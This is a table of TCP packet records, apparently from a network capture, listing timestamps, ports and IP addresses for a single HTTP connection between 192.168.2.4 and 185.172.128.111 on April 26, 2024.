Apr 26, 2024 09:41:11.564156055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564194918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564207077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564523935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564539909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564567089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564578056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564702988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564721107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564764977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564764977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564807892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564824104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.564847946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564861059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565403938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565422058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565445900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565458059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565465927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565479040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565494061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565506935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565517902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565531969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565543890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565558910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565568924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565594912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565675974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565712929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565726042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565766096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565783978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565820932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565936089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565951109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565982103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.565989017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.565999031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566026926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566037893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566055059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566075087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566086054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566097975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566127062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566739082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566755056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566771984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566781998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566796064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566803932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566816092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566829920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566842079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566857100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566874027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566893101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.566900015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.566940069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567018032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567056894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567163944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567199945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567212105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567228079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567244053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567256927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567267895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567292929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567569971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567606926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567619085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567632914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567645073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567657948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567670107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567683935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567694902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567708969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567718983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567753077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567847967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567863941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567890882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567899942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567915916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567933083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567954063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567965984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567965984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.567989111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.567996979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.568022966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.568049908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.568093061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.568120956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.568159103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.568248987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.568264961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.568295956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.568305969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.620677948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620721102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620738029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620753050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620790958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620809078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.620842934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620855093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.620887995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.620935917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620950937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.620984077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.620996952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622412920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622463942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622478962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622495890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622510910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622523069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622535944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622551918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622560978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622575998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622594118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622607946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622618914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622632980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622644901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622658968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622670889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622684956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622695923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622709990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622721910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622734070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622745991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622775078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622831106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622867107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622874022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622903109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622912884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622929096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.622951984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.622966051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624562979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624581099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624612093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624624968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624653101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624666929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624684095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624695063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624706030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624722958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624732018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624747038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624761105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624773026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624785900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624808073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624838114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624855995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624881029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624892950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624906063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624919891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.624944925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.624957085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.625189066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.625222921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.625235081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.625260115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.625267982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.625281096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.625298977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.625314951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626696110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626713991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626745939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626759052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626775026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626790047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626817942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626827955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626841068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626877069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626884937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626913071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626923084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626939058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.626964092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.626977921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.627232075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.627249002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.627264977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.627278090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.627293110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.627311945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.627455950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.627506971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.629878998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.629929066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.629945993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.629987001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630019903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630036116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630067110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630075932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630091906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630131006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630224943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630269051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630280018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630295038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630320072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630331039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630357027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630373955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630400896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630409956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630424976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630454063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.630466938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.630496979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634007931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634048939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634084940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634099960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634114981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634140968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634161949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634176970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634217024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634232998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634277105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634310007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634352922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634368896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634412050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634434938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634476900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634494066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634531021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634563923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634578943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634608030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634618044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634634018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634674072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634690046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634721041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634732008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634744883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634759903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634778976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634829044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634859085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634875059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634891987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634916067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634938002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.634953022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.634974003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.672509909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.672554016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.672570944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.672590017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.672622919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.672671080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673058033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673074961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673093081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673111916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673120022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673146963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673168898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673197985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673217058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673233986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673243999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673258066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673273087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673280001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673321009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673719883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673774004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673790932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673809052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673824072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.673835039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673851013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.673866034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.674370050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.674423933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.674443007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.674459934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.674484968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.674494982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.674504995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.674535036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.674971104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.674989939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675020933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675035000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675061941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675076962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675101995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675117016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675124884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675143003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675158978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675169945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675184011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675204992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675216913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675250053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675260067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675296068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675311089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675328016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675342083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675354004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675367117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675384998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675704002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675720930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675756931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675766945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675781965 CEST	80	49730	185.172.128.111	192.168.2.4
